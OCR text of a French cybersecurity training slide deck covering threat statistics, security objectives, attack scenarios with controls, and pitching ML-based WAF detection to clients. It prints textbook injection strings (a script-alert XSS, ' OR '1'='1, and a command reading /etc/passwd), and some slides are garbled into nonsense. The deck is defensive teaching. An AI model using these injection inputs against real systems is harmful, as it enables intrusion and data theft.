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WAAP : L'APPROCHE DE SECURITE COMPLETE, INTEGREE ET INTELLIGENTE POUR LE MONDE MODERNE



APPROCHE DE LA LUTTE CONTRE
LA CYBERMENACE EN 5 ETAPES

Etape 1 Etape 3 Etape 5
1 IDENTIFIER 3 DETECTER 5 RECUPERER

(")
IDENTIFIER PROTEGER DETECTER REPONDRE RECUPERER
Cartographier les actifs, Mettre en ceuvre des Surveiller en continu Contenir et neutraliser Restaurer les systemes
les risques et les controles de sécurité et les anomalies et les les incidents de et les données critiques.

vulnérabilités. des politiques d'acceés. intrusions. sécurité.

UNE DEMARCHE CONTINUE ET ADAPTATIVE POUR LA RESILIENCE CYBER.



AGENDA SUR LA CYBERSECURITE

. INTRODUCTION A LA CYBERSECURITE

. CYBERSECURITE : LES ENJEUX

. Les attaques a maitriser absolument

. Pipeline technique a expliquer

. Panorama des techniques et logiciels clés
. ANNEXES TECHNIQUES

. LES ACTEURS DE LA CYBER SECURITY
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1. INTRODUCTION A LA CYBERSECURITE
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Répartition par type de menace
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Répartition par

type de
menace
(Tendances

mondiales
2026)

+ Phishing (Hameconnage) : Il demeure le vecteur d'entrée principal. Il est impliqué dans
environ 42 % des bréches mondiales. Certains rapports notent que jusqu'a 60 % des
intrusions réussies debutent par un email frauduleux. SentinelOne + 1

+ Vol de données et violation d'informations : Ces incidents représentent une part

majeure de la croissance des cyberattaques (environ 44 % de la croissance totale des
incidents observes). NordvPN

+ Ingénierie sociale : Cette catégorie, qui inclut le phishing mais aussi les arnaques au

president ou au faux virement, compte pour environ 33 % de la croissance totale des
attaques. NordVPN

+ Rancongiciels (Ransomware) : lIs représentent 23 % de la croissance des attaques.
Les attaques par rancongiciel utilisent désormais majoritairement des stratégies de «
double extorsion » (chiffrement des données couplé a leur exfiltration). NordVPN + 1

» Autres incidents significatifs: 15/sec

o Déni de service (DDoS) : Trés fréquent, il est impliqué dans environ 28 % a 41%
des incidents selon les sources. 151 Sec

= Erreurs humaines ou de configuration : A l'origine de 36 % des fuites de
données. Tenacy



PAYSAGE MONDIAL DES CYBER-MENACES ET INCIDENTS

Répartition des vecteurs d'attaque et des incidents cles

VECTEUR D'ENTREE PRINCIPAL: PHISHING (HAMEGONNAGE) FOCALE SUR LA CROISSANCE DES ATTAQUES

23 % de la croissance

Rancongiciels (@)
ﬂ@ des attaques

42 O/o (Ransomware)

. : Ingénierie | o, de la croissance
des breches mondiales contae 33 % ges attaques
*Jusqu'a 60 % des intrusions réussies _ _
NordVPN + | JERREE
|

INCIDENTS DE DISPONIBILITE: DENI DE SERVICE (DDoS) ERREURS ET COMPROMISSION DES DONNEES

28 % ad41 % 36 %
des incidents mondiales des fuites de données

(selon les sources) *Erreurs humaines ou de |
Trés fréquent, impacte la continuité d'activité. configuration. |

LA CYBERSECURITE EST UN DEFI MONDIAL ET PERMANENT.

& %YP»E&?ECU Source: Rapports Mondiaux de Cybersécurité 2026




Motivations

des
attaquants

La répartition des attaques selon les motivations des auteurs met en lumiére trois grands
axes:

» Cybercriminalité (Gain financier) : Représente environ 71 % des motivations
observées. pPuC

« Espionnage : Comptabilise environ 24 % des cas. PwC

+« Hacktivisme : Environ 5 % des incidents. pwC

MOTIVATIONS DES ATTAQUANTS:
REPARTITION MONDIALE 2026

4 71 9% ESPIONNAGE

CYBERCRIMINALITE
(GAIN FINANCIER)
HACKTIVISME

[ CYBERCRIMINALITE 71 % GE HACKTIVIESME J

CYBERSECU Source : Tendances Mondiales 2026
INSICHRTS




Points

d'attention
pour 2026

+ L'impact de I'lA : 94 % des experts s'accordent sur le fait que I'lA est le principal moteur
du changement en cybersécurité, renforgant a la fois les capacités de défense et la
sophistication des attaques. Le phishing géneére par I1A augmente les taux de clics
jusqu'a 54 %. World Economic Forum pu... +1

+ Le facteur humain: Le facteur humain reste impliqué dans 60 % des bréches
constatées. ISiSec

+ Le risque tiers: Les incidents impliquant des fournisseurs et partenaires (chaine
d'approvisionnement) sont en forte augmentation, avec 34 % des entreprises signalant
des défauts de sécurité chez un tiers. Tenacy

POINTS D’ATTENTION CLES EN CYBERSECURITE - REPARTITION STATISTIQUE
Répartition

l ‘ LE RISQUE TIERS 34% Supply Chain Issues
]
NI

60 % | 34 %

LIMPACT DE L'IA 94% Expert Consensus |~ LE FACTEURHUMAIN
2% |

|

4 |

|

94 % |

des experts s'accordent sur
le role moteur de I'lA

|
S0 fhiaing ideh sor (R nopnionte jo i des breches constatées \ des entreprises signalent des
taux de clics jusqu’a 54 %.* | impliquent le facteur humain défauts de sécurité chez un tiers

UNE APPROCHE GLOBALE ET PROACTIVE EST NECESSAIRE POUR FAIRE FACE A CES RISQUES.

CN!%E?gECU Source: Rapports Mondiaux de Cybersécurité 2026
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Comprendre la Cyber criminalité
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* Partie 1.1 — Définition professionnelle de |la cybersécurité
* A - Une définition globale de la cybersécurité
* B-Un périmetre beaucoup plus large que l'informatique

C - La cybersécurité comme protection de 'activité

D - Les cinq objectifs fondamentaux

E - Les principales menaces couvertes

F - Sécurité informatique et cybersécurité

G - Sécurité de I'information et cybersécurité

H - Cybersécurité et cyberrésilience

| - Les dimensions de la cybersécurité

J - Exemple : plateforme e-commerce

K - Exemple : environnement d’entreprise

L - Les erreurs de compréhension courantes

M - Définition consolidée pour le guide

AGENDA

INTRODUCTION

Q
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La cybersécurité désigne I'ensemble des moyens humains, organisationnels, juridiques et techniques
permettant de protéger les systémes numériques, les données, les identités, les applications, les réseaux et

les services contre les menaces numeriques.

A l | n e Elle ne se limite pas a la protection des ordinateurs ou des serveurs. Elle concerne I'ensemble de

I'écosystéme numérique d'une organisation : utilisateurs, applications métier, infrastructures cloud, AP,

V4 ] 0 ) ' v . .
d Efl n I t I O n messagerie, bases de données, fournisseurs, sauvegardes et processus critiques.

Son objectif est de réduire les risques d'intrusion, de fraude, de fuite de données, d'indisponibilité, de

g | O b a | e d e | a sabotage, d'espionnage ou d'altération des systémes.
4 3 2 La cybersécurité devient ainsi une discipline de protection de |'activité, et non uniguement une discipline
cybersécurité

¢
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Diapositive 1 — Une définition globale de la cybersécurité
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La cybersécurité couvre tous les éléments qui permettent a une organisation de fonctionner dans un

environnement numerigue.
Elle protége notamment :

» Les postes de travail

» Les serveurs

» Les applications web

» Les applications mobiles
» Les API

» Les bases de données

U ﬂ p é rl m ét re » Les comptes utilisateurs

» Les comptes administrateurs

beaucoup
pl u S |a rge q u e » Les réseaux internes

» Les acces distants

|)Inf0rmathue » Les sauvegardes

» Les emails

*» Les environnements cloud

» Les dépéts de code source
» Les données clients
» Les documents internes

» Les processus métiers critiques

Une faille sur un seul de ces éléments peut suffire 3 compromettre I'ensemble de l'organisation.




L'ORGANISATION ELEMENTS CLES PROTEGES

Actifs Numériques Postes de travail & Serveurs

= Ney= =
Data Servers  Seryveers Work Mobile
Applications & Données 'j
o-
/(__

%

Applications Web & Mobiles
S

jw
@4
Web Database API Email

©  Comptes Utilisateurs & Admin

— 3 &7

Infrastructure & Acces

e @ [

Réseaux Internes & Cloud
Network  Remote Access safequard

VPN ’ ’
RIOSCESUS MEset LA CYBERSEBUHITE : Données & Documents
—> o UNE PROTECTION TOTALE
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La

cybersécurite
comme
protection de
'activite

Une organisation moderne dépend fortement de ses systémes numériques. Une attaque cyber ne touche
donc pas seulement un serveur ou une application : elle peut bloquer une activité commerciale, industrielle,

administrative ou médicale.
Exemples d'impacts possibles :

* Interruption d'un site e-commerce

* Blocage d'une chaine de production

» Chiffrement de serveurs par ransomware

« Vol de données clients

« Fraude sur des paiements

« Compromission d'une messagerie professionnelle
« Indisponibilité d'un outil métier

» Perte de confiance des clients ou partenaires

« Sanction réglementaire

« Atteinte durable a la réputation

La cybersécurité doit donc étre analysée comme un sujet de continuité, de confiance et de maitrise du

risque.

¢
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LA CYBERSECURITE : UN ENJEU DE CONTINUITE ET DE CONFIANCE

Impacts Opérationnels
& Commerciaux

Impacts sur la Confiance
& la Réputation

Perte de confiance
. G5
Impacts sur I'Information & 9"6‘
les Processus G%

Sanction réglementaire

g R e e Chiffrement Vol de données Compromission S < y X
Indlsponlblhte outil métier ransomware clients mepssagerie Atteinte a la reputatlon

LA CYBERSECURITE : MAITRISE DU RISQUE = ASSURANCE ACTIVITE

‘ CVBERPROTEGE




La cybersécurite vise a préserver cing propriétes essentielles des systéemes et des données.

Confidentialité
Les informations ne doivent étre accessibles qu'aux personnes, applications ou systemes

autorisés.

Intégrite

Les données et configurations ne doivent pas étre modifiées sans autorisation ou sans
Les cin d tracabilité.

' ' Dicponibilits
. bJ S Ct IfS Les services numériques doivent rester accessibles lorsque l'activité en dépend.
fondamentaux

Authenticite

Les utilisateurs, services, équipements et transactions doivent pouvoir étre vérifiés.

Tracabilité

Les actions importantes doivent étre enregistrées afin de permettre l'audit, I'investigation

et la preuve.

Ces cing objectifs structurent la plupart des politiques et contrles de sécurité. y

IDEO-LAB




LES CINQ PROPRIETES ESSENTIELLES DE LA CYBERSECURITE

Préservation des systemes et des données

1. CONFIDENTIALITE 2. INTEGRITE 3. DISPONIBILITE 4. AUTHENTICITE 3. TRACABILITE
M = 1
\—-0
1. CONFIDENTIALITE 2. INTEGRITE 3. DISPONIBILITE 4. AUTHENTICITE 5. TRACABILITE
Acces restreint aux Données complétes et Services accessibles Vérification de |'identité Enregistrement des
seules personnes non modifiées sans lorsque l'activité en des utilisateurs, services actions pour audit et
autorisées. autorisation. dépend. et transactions. preuve.

N

=3 H 000 ) =2

Ces cinq objectifs structurent les politiques et contréles de sécurité.

kc/ CYBERPROTEGE



« Phishing

« Vol d'identifiants
» Ransomware

« Malware

e Intrusion réseau

« Exploitation de vulnérabilités

LeS « Injection SQL
P rincl Pad les » Compromission d'API
menaces » Attaque DDo5

» Fuite de données

couve rteS » Fraude financiére

« Compromission cloud

« Suppression de sauvegardes

» Espionnage eéconomique @

» Attaque par fournisseur ou sous-traitant IDEO-LAB




LES CYBER-MENACES ET VECTEURS D'ATTAQUE

Un apercu complet pour une meilleure défense

Phishing Ransomware
@ : 5 0:*{0 Attaque DDoS
Vol d'identifiants Malware
; Vecteurs d'Acces Allaque bHoS
Exploitation de Vecteurs d'Acces ~ Attaques Techiques
vulnérabilités & Exploitation & de Service mi Com;zjrcz\rg;ssmn

ilnjection SQL
Fuite de Impacts sur les
Données & la Chaine

données
@ d'Approvisionnement

Espionnage ‘-’:’ Opérations &
économique ,9 Espionnage Conséquences

Opérations &
Cornnes

oo

o/ Fraude fmancuere

5 Suppression de

Attaque par fournlsseur ~ & sauvegardes
ou sous-traitant Compromission cloud

**| A CYBERSECURITE EST UN PROCESSUS CONTINU ET EVOLUTIF.**

economlque Internes

@ CYBERPROTEGE



Sécurité

informatique
et
cybersecurite

La sécurité informatique concerne principalement la protection des composants

techniques : systémes, réseauyx, serveurs, postes, applications et équipements.

La cybersécurité englobe cette dimension technique, mais elle va plus loin. Elle integre
également les identités, les usages, les comportements humains, les procédures, les

fournisseurs, les données, les obligations réglementaires et la continuité d’activité.
Exemple :

Un pare-feu correctement configuré peut protéger un serveur contre certains accés non
autorises.

Cependant, si un collaborateur valide une fausse demande de paiement recue par email, le
risque dépasse la seule sécurité informatique. Il reléve de la cybersécurité, car il combine

fraude, identité, messagerie, processus interne et sensibilisation.

La sécurité informatique protége les composants technigues.

La cybersécurité protege I'écosystéme numeérique et les activités qui en dépendent.

@
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SECURITE INFORMATIQUE CYBERSECURITE

INTEGRE A
ET ELEVE Collaborator
COMPOSANTS TECHNIQUES ECOSYSTEME & ACTIVITES
Systémes & Réseaux akb &2/ Identités & Usages Comportements Humains £®
Serveurs & Postes EQ Procédures & Fournisseurs
Applications & Equipements @ﬁ u Obligations Réglementaires |[= Q
Données & Sauvegardes Continuité d'Activité @F

LA CYBERSECURITE PROTEGE L'ENSEMBLE DE L'ECOSYSTEME
NUMERIQUE ET LES ACTIVITES QUI EN DEPENDENT.

(/ CYBERPROTEGE



Sécurité de

"information
et
cybersecurite

La sécurité de l'information vise a protéger l'information sous toutes ses formes :

numerique, papier, orale, contractuelle ou documentaire.

La cybersécurité se concentre sur les risques liés aux technologies numériques : systémes
connectés, applications, bases de données, cloud, APL, messagerie, réseaux et identités

numeriques.
Exemples :

Un contrat confidentiel imprimé oublié dans une salle de réunion reléve de la sécurité de

I'information.
Le méme contrat exfiltré depuis un espace cloud mal configuré reléve de la cybersécurité.

Une conversation sensible entendue dans un lieu public releve de la sécurité de

I'information.

Une conversation interceptée via un compte de messagerie compromis reléve de la

cybersécurite.

Les deux disciplines sont complémentaires et se recoupent dés que l'information est

créée, stockée, transmise ou exploitée par des moyens numériques.

IDEO-LAB



SECURITE DE L'INFORMATION

Protection tous supports : papier, oral, physique.

Conversation
sensible.

.¢(o

Protection de l'information
physique (papier).

CYBERSECURITE

Risques technologiques : systémes, cloud, réseaux, identités.

Cloud mal
configuré
Scanerles lille Exfiltration : Comng dmeptrrétfer:‘sizagerie
COMPLEMENTARITE ET RECOUPEMENT

. ZONE DE RECOUPEMENT :
InfoSec = Linformation numeérique est protégée
par les deux disciplines.

| N
InfoSec !

&7 2 z
INFORMATION STOCKEE TRANSMISE EXPLOITEE y/ 3 @

CREEE (CLOUD/PAPIER) (RESEAU/ORAL) (APPLICATIONS/IDENTITES)
IDEO-LAB
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SECURITE DE L'INFORMATION VS. CYBERSECURITE

SECURITE DE L'INFORMATION INTERSECTION & CYBERSECURITE
COMPLEMENTARITE

Tous supports / Technologies numériques
2 Données Utilisation & A
numeriques Transmission - STE
- . =

)-8

Acces sécurisé
I',;‘\Tl

Protection globale Risques numérigues

LA SECURITE DE LINFORMATION EST LE BUT,
LA CYBERSECURITE EST LE MOYEN NUMERIQUE DE L’ATTEINDRE.

@ CYBERPROTEGE



Cybersecurite

et
cyberrésilience

La cybersécurite vise a réduire la probabilité gu'un incident se produise.

La cyberrésilience vise a réduire I'impact lorsqu’un incident survient malgre les

protections en place.

Une organisation cybermature ne part pas du principe que toutes les attaques seront
bloguées. Elle prépare également la détection, le confinement, la restauration et la

continuité des services critiques.
Exemple :

Une entreprise victime d'un ransomware peut subir plusieurs semaines d'arrét si ses

sauvegardes sont connectées au méme reseau et chiffrees par I'attaque.

La méme entreprise peut reprendre son activité rapidement si elle dispose de
sauvegardes isolées, testées, immuables et associées a un plan de restauration

opérationnel.

La cyberrésilience compléte donc la cybersécurité en intégrant la capacité de reprise.

@
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CYBERSECURITE : PREVENTION DES INCIDENTS

Réduire la probabilité

Pare-feu

~ Authentification  Mises 2 jour
Pare-feu

CYBERRESILIENCE : GESTION D'INCIDENT ET CONTINUITE

Le Cas Sans Résilience Le Cas Avec Résilience

" SAUVEGARDE
ISOLEE
ET IMMUABLE

TEMPS D'ARRET : PLUSIEURS SEMAINES. : TEMPS D’ARRET : QUELQUES HEURES.
Sauvegardes connectées et chiffrées. Détection, Confinement, Restauration.

COMPLEMENTARITE CYBERSECURITE & CYBERRESILIENCE

CYBERRESILIENCE , ) “Restauration
(Intégre la capacité de reprise) CYBERSECURITE ¢ = ol CONTIN

* ~ O
Ty oy La cyberrésilience compléte la cyt
=5 FINEM TINUITE : :
(Cybersecurlte) (W01 (Détection) [CON | ENT] [CON INUIT ] Bnaceliant s repn_sgzapré'-.- i

/ ” :
'r..xu."uh‘d
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Les

dimensions
de la
cybersecurite

La cybersécurité repose sur plusieurs dimensions complémentaires.

Dimension technique
Pare-feu, chiffrement, MFA, EDR, SIEM, WAF, sauvegardes, durcissement, segmentation,

gestion des correctifs.

Dimension humaine
Sensibilisation, prévention du phishing, gestion des erreurs, formation, signalement des

incidents, culture de vigilance.

Dimension organisationnelle
Politiques de sécurité, responsabilités, procédures, gestion du risque, audits, gestion de

crise, plan de continuité.

Dimension juridique
Protection des données, conformité réglementaire, contrats fournisseurs, conservation

des preuves, notification des incidents.

Dimension stratégique
Protection de |'activité, maitrise du risque financier, confiance client, réputation,

continuité et compétitivite.

Aucune de ces dimensions n'est suffisante isolément. La sécurité repose sur leur

combinaison.



Dimension Technique e Dimension Humaine

Pare-feu, Chiffrement, MFA, EDR, Sensibilisation, prévention du phishing,
SIEM, WAF, sauvegardes, gestion des erreurs, formation, signalement
durcissement, segmentation, des incidents, culture de vigilance.

gestion des correctifs. _‘Q’ £
5 S “ 2 z Z4 = /"N@E "’3
LN B &l T
, + 1 MYl N )

Sensibilis_ation

Protection de I'activité,‘mairrise du risque
financier, confiance client, réputation,
continuité et compétitivité.

Réputation,
compétitivité

LA CYBERSECURITE

crise
Confiance client

Jimension Juridique Dimension Organisationnelle
Protection de |'activité, _maitrige du risque y Politiques de sécurité, responsabilités,
financier, confiance client, réputation, .. procédures, gestion du risque, audits,
continuité et compeétitivite. Conformite o~ gestion de crise, plan de continuité.
Q

Aucune de ces dimensions n’est suffisante isolément.
La securité repose sur leur combinaison.

IDEO-LAB




s, . . Mesures adaptees :
Eléments a protéger : P
» Authentification forte des administrateurs
» Comptes clients « Validation des entrées utilisateur
» Requétes SQL paramétrées

» Limitation de débit sur les API

» (Catalogue produit

» Commandes o _ _
» Journalisation des actions sensibles

» Paiements R, .
« Sauvegardes réguliéres et testées

= API logistiques » WAF devant l'application
» Backoffice d'administration * Surveillance des connexions suspectes
*» Base de données » Cloisonnement entre frontend, backend et base de données

Exe m p | e : » Emails transactionnels

» Sauvegardes

p | a tefo r m e » Infrastructure d’hebergement

Risques associés :

e-commerce » Vol de comptes clients

» Fuite de données personnelles
» Fraude sur les commandes

» Injection SQL

» Indisponibilité du site

» Compromission du backoffice

» Modification frauduleuse des prix @

» Exfiltration de la base clients
IDEO-LAB




CYBERSECURITE E-COMMERCE :
ELEMENTS ET RISQUES

ELEMENTS A PROTEGER

Infrastructure
d’hébergement

Base de
données

Comptes
o oclients

Commandes

Emails
transactionnels

0

APl logistiques

) g 4o [ 4

Infrgstructure
i d'hébergement

Catalogue
produit

APl logistiques

Backoffice d'administration

Sauvegardes

~p

o

RISQUES ASSOCIES

comptes clients v

Fuite de données personnelles Fuite de données

personnelles
ki
° ection SQL
Fraude sur les commandes

ompromission du backoffice

Indisponibilité du site PC

Modification frauduleuse
des prix

s

:69

=]

|
==

Exfiltration de la base clients




Scénario possible :

Un collaborateur recoit un email de phishing.
Les identifiants sont saisis sur une fausse page.
L'attaquant se connecte au VPN.

Un poste interne est compromis.

Des identifiants supplémentaires sont collectés.
Des documents sensibles sont exfiltrés.

Des sauvegardes accessibles sont supprimées.

Un ransomware est declenche.

Controles de sécurité associés :

Exemple :

environnement » MFA sur la messagerie et le VPN
d'entreprise = Filtrage des emails suspects

» EDR sur les postes

» Restriction des accés administrateurs

* Segmentation réseau

* Supervision des connexions inhabituelles
* Sauvegardes isolées

» Journalisation centralisée

* Procédure de réponse a incident

+ Formation des utilisateurs

Cet exemple montre que I'attaque ne suit pas une seule dimension technique. Elle

exploite les identités, les usages, les acces, les postes, les procédures et les faiblesses de

supervision. IDEO-LAB




SCENARIO D'ATTAQUE CONTROLES DE SECURITE ASSOCIES

{% Formation des utilisateurs

Phishing %> , q
hamegonnage

Fausse Page

Filtrage des emails suspects

EDR sur les postes

Connexion au VPN @ @ a
> —_— —

Restriction des accés administrateurs

@) Poste Compromis f
>

Q Collecte d' |dent|ﬂants

Segmentation réseau

cmmml
Dmrx;mg

Supervision des connexions
inhabituelles

6 Exfiltration

Sauvegardes isolées

@) Suppression de
Sauvegardes

Journalisation centralisée

Procédure de réponse a incident

Q Ransomware W o
-

Résumé: Cette attaque ne suit pas une seule dimension technique. Elle exploite les identités, les usages, les acces, les

postes, les procédures et les faiblesses de supervision.




La cybersécurité est souvent mal comprise lorsquelle est réduite a quelques outils

technigques.
Erreurs frequentes :

» Assimiler la cybersécurité a un antivirus

» Penser qu'un pare-feu suffit & protéger une organisation
Les erreurs de » Croire que le cloud est sécurisé automatiquement

compréhension » Considérer que la conformité garantit la sécurite réelle

courantes » Neégliger les comptes administrateurs

» Qublier les sauvegardes dans la stratégie cyber

» Sous-estimer le phishing et I'ingénierie sociale

» Ne pas tester les procédures de restauration

» Traiter la cybersécurité uniquement aprés un incident

Une approche professionnelle repose au contraire sur une vision globale : actifs, risques,

@
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menaces, contrdles, supervision, incidents et amélioration continue.




UNE VISION REDUCTRICE

Assimiler la Croire que le cloud Considérer que la Sous-estimer
cybersécurité est sécurise conformité garantit le phishing et
a un antivirus automatiquement la sécurité réelle l'ingenierie sociale
A ’ -s
iy 1 ? l
N \\ g 2
Assimiler la Penser qu'un Croirequele  Considérer gue Négllquer les Oubher les Sous-estn_mer le Ne pas tester les Traiter la cybersécurité
cybersécurité pare-feu suffit  cloud est sécurisé  la conformité comptes  sauvegardes dans  phigénierie procéduresde  uniquement aprés
a un antivirus automatiquement garantit administrateurs  la stratégie sociale restauration un incident

[ Réduire la cybersécurité a quelques outils techniques. J

UNE APPROCHE PROFESSIONNELLE GLOBALE

[ Basée sur : actifs, risques, menaces, contréles, supervision, incidents, et amélioration continue ]




2. CYBERSECURITE : LES ENJEUX

Q
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Cybersecurité : Les Enjeux

»La Vision Holistique (Le "Pourquoi")
*L'Ecosystéme des Menaces (Le "Quoi")

*\VVers une Sécurité Agile (Le "Comment")

®

IDEO-LAB



La Vision Holistique (Le "Pourquoi")

Les 3 piliers de la valeur

La cybersécurité protége trois actifs critiques :

1.

La Continuité d'Activité : Empécher l'arrét de la production/service (cout financier et
réeputationnel).

L'Intégrité des Données : Garantir que les décisions sont prises sur des bases saines et
non altérées.

La Confiance (Capital Client) : La donnée est la monnaie du XXle siécle. Une fuite est
une perte de confiance irréversible.

®

IDEO-LAB



La Roue de la Confiance

Représentation visuelle des piliers fondamentaux de la cybersécurité, garantissant la confiance du capital client et la stabilité des opérations.

Intégrité

Résilience
Métier




L'Ecosystéme des Menaces (Le "Quoi")

Il faut démystifier la menace. Elle est moins "technique” qu'on ne le pense.

Le triptyque du risque moderne

» Les Menaces Humaines : 80% des incidents impliquent une erreur humaine ou une
ingenierie sociale (phishing).

+ La Surface d'Attaque Elargie : Cloud, télétravail, objets connectés (loT), supply chain.
Chaque point de connexion est une porte ouverte.

» La Professionnalisation : Les attaquants sont désormais des entreprises structurées
(Ransomware-as-a-Service).

Diagramme suggeéré (Le "Sandwich" du Risque) :
+ Haut (Strate Organisationnelle) : Gouvernance, politiques de sécuritée.

+ Milieu (Strate Technique) : Chiffrement, Pare-feu, EDR, IAM (Gestion des
acces).

+ Bas (Strate Humaine) : Culture, sensibilisation, hygiéne numérique. @

Notez : "La sécurité est aussi forte que son maillon le plus faible".
IDEO-LAB



(Strate Humaine)

S =

) )
/

rte que son maillon le plus faible". @
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Vers une Sécurité Agile (Le "Comment")

Pour étre efficace, la cybersécurité doit sortir du mode "pompier” pour passer en mode
"partenaire”:

1.  Culture du "Zero Trust" : Ne jamais faire confiance par défaut, verifier
systéematiquement chaque acceés, quel que soit l'utilisateur ou la localisation.

2. Cybersécurité comme avantage concurrentiel : Etre capable de prouver sa résilience
devient un argument de vente majeur auprés des clients et des partenaires.

3. Larésilience, pas seulement la protection : Accepter que le risque zéro n'existe pas.
L'enjeu est la vitesse de détection et la capacité de remédiation aprés une intrusion.

®
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VERS UNE SECURITE AGILE

M
g"ﬂ r'.\q
% B

o’

1. PREVENIR

Sensibilisation, Audit,
Palitiques Sécurité,
“Security by Design”

‘ “ 2. DEDETECTER

Surveillance 24/7,
Analyse de Logs,
Threat Intelligence

w
(D 4. RESTAURER

Sauvegardes, Continuite d'Activite,
Retours d'Expérience

4 g réacir B

Plan de Reponse a Incident,
Isolation, Communication de Crise

« Culture “Zero Trust”
» Avantage Concurrentiel (Confiance Client)

« Priorité a la Résilience (Détection/Remédiation) (©) securecons

&
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CYBER AGENDA

* 1. Ce que nos clients veulent vraiment entendre,
* 2. Réponse courte a la fameuse question : “Expliquez votre expertise”

3. Les attagues a maitriser absolument en 2026
1. XSS
* 2.5QL Injection
e 2. « Command Injection »
e 3. Définir le Trafic légitime

* 4. Pipeline technique a expliquer

5. Ce qu’il faut savoir dans les grandes ligne a propos du WAF / WAAP

* 6. Métriques a citer et a comprendre

e 7. Les vrais enjeux cybersécurité a intégrer @
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1. Ce que le
client veut

vraiment
entendre

La phrase du client veut dire :

“Mous cherchons quelqu’un qui comprend a la fois le machine learning sur texte et la
réalité opérationnelle cybersécurité : logs HTTPR payloads suspects, faux positifs,
WAF/WAAP attagques applicatives, classification, scoring, exploitation en production.”

Donc il ne faut pas répondre comme un pur data scientist, ni comme un pur pentester. Il

faut te positionner comme un profil hybride :

ML appliqué a la donnée textuelle + sécurité applicative + industrialisation d’'un moteur

de détection.

Tu peux dire :

Mon approche consiste a traiter les requétes HTTR parametres, headers, user agents,
payloads et logs applicatifs comme des données textuelles semi-structurées. L'objectif
est de classifier les flux en trafic légitime, SQL Injection, XSS, Command Injection ou
abus applicatif, tout en maitrisant les contraintes cybersecurite : faux positifs, dérive
des attagques, explicabilité, latence et integration avec un WAF/WAAP ou un S0C.

C'est exactement le bon angle. @
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2. “Expliquez

votre
expertise”

Jai une approche trés orientée terrain. Sur des attaques web comme SQL Injection,
XS5 ou Command Injection, je pars des données reellement observables : URL query

strings, corps POST, headers, user-agent, cookies, codes retour, frequence, IR, session,
endpoint cible.

Ensuite je construis une chaine de classification textuelle : normalisation, décodage
URL/HTML, tokenisation, extraction de n-grammes caractéres et mots, features
syntaxiques, score d'entropie, présence de patterns dangereux, puis modéle supervisé
ou hybride régles + ML.

En cybersécurité, I'objectif n'est pas seulement d'avoir un bon score global. 1l faut
reduire les faux positifs, expliquer pourquoi une requéte est classée malveillante,
ajuster les seuils par niveau de risque, et integrer le résultat dans une logique
WAF/WAAP : blocage, alerte, challenge, gquarantaine ou simple monitoring.

@
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3. Les attaques a maitriser absolument
« Serveurs » et « Grand Public »

@
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TOP 3 DES ATTAQUES WEB LES PLUS COMMUNES

UNE VUE D'ENSEMBLE DES VULNERABILITES CRITIQUES

1. XSS 2. SQL INJECTION 3. COMMAND INJECTION
(CROSS-SITE SCRIPTING) (INJECTION SQL) (INJECTION DE COMMANDE)

SELECT * FROM users
WHERE id ="1" OR 1=1

Is -la; cat /etc/passwd

* Attaque coté client. * Attaque coté serveur. * Attaque coté systeme.

* Injection de scripts malveillants dans * Manipulation des requétes de base  Exécution de commandes arbitraires
une page de confiance. de données. sur le systeme d'exploitation du serveur.

* Vol de cookies, de sessions, » Contournement de I'authentification, * Prise de controle totale du serveur.
défiguration de site. exfilltration de données.

; e : G e * Exemple:; /bin/sh
* Exemple: <script>alert('XSS')</script> » Exemple: ' OR '1'="1

@,\ere escript] B

#SECURITEWEB #OWASP #CYBERSECURITE #PREVENTION



’ Les attaques informatiques ‘Grand Public’ :
Comprendre et se protéeger.

Hamecgonnage
(Phishing)

Une communication
trompeuse (email, SMS) pour
voler vos informations
personnelles et bancaires.

Attaque par déni de
service (DDoS)

Surcharge d'un serveur ou d'un
d'un site web par un trafic
massif pour le rendre
inaccessible.

v e

Rancgongiciel
(Ransomware)

Un logiciel malveillant qui
chiffre vos fichiers et exige

une rangon pour les
recuperer.

Exploitation de
vulnérabilités

Attaque utilisant une faille de
sécurité connue (Zero-Day)
ou non corrigée dans un
logiciel.

Comment se protéger au quotidien ?
e Mettez a jour vos logiciels et mots de passe.

e Sauvegardez régulierement vos donnees.
 Utilisez une authentification a deux facteurs (2FA).
e Soyez méfiant face aux messages non sollicités.

M
O—

Logiciel malveillant
(Malware/Virus)

Tout logiciel congu pour
endommager, perturber ou
obtenir un acces non autorisé a
un systeme.

Homme du milieu
(Man-in-the-Middle)

Interception et modification de
VOS communications sans que
vous ne le sachiez (ex: Wi-Fi
public non sécurisé).




maltr

3. Les attaques a
ser absolument

1. SQL Injection
2. XSS
3. Command Injection

4. Trafic légitime

Attaques Serveur &
Entreprise a

e p B
S~
v

|11}
A
N
v

</3>

injection_
<n-t-on
x/>

1. XSS (Cross-Site Scripting)

Le XSS (Cross-Site Scripting) au vises
compensintanles pécileles de- arques let
poulblitions d' entrepries. Les pousees, les
soit4tioxferculls, nont attaques scripinsens
desperiles du defl'e d'ausiuées.

2. SQL Injection

Les yatous d'alanlipnes du vor d'injection,
donsovoine de SQL urnletionr pesiptiens
elecrodigaltirs au SQL injection solimentles
injection.

3. Command Injection

Le injectiniestion comporptes d'odeme
compientite, alté, SQL Injection,’s aits von
verourde uriiectior, poutipeir de SQL
commustion d'éisecie vn d quogettér de
servesr.

®
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SQL Injection
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INTRODUCTION AU SQL INJECTION
(ATTAQUE PAR INJECTION SQL)

et ] r J gl 3 . 5 s,
1: Lentrée de l'utilisateur 2: Le traitement sur le serveur 3: La consequence
Navigateur Utilisateur Le code malveillant O Navigateur Utilisateur
est interprété comme - —
une commande SQL Données de tous les utilisateurs
Nom d'utilisateur valide. ID | Nom Email Mot de Passe
50 | Persa SO0 b oon Mot de Passe
] = 32 | Stasse Sdreiooetegnat com | Mof és Pesse
OR 1 o1z, 1 e ...: X] %t-smr- nnn‘umm:‘s com Mt do Pasee
Py of [ FROM utilisateurs g f':‘: ,:::f:‘:ﬂf Fn i
Mpldepdsss Requete WHERE nom =’ OR 1=1 - N o T O
" 40 | namcoetgegrral com Mt aLse
AND mOt.de passe = 8 t.m_s orush >:::;1\m ©on Mt de Passe
e au serveur © dppih e e e )
ACCES NON AUTORISE : Toute

la base de données est exposeée.

A

[ =)

y__

Résultat : Contournement de
Base de Données I'authentification et accés illimité
aux données.

[{¢

Navigateur Utilisateur



SQL Injection

- Expliqué

Definition simple :

Une SQL Injection consiste a injecter une portion de requéte SQL dans une entrée

utilisateur afin d'altérer la requéte exécutée c6té base de données.

OWASP decrit la SQL Injection comme l'insertion d'une requéte SQL via des données

client, pouvant permettre lecture, modification ou suppression de données, voire parfois

des opérations systéme selon le contexte. & owssporn

Exemples de signaux ML/textuels :

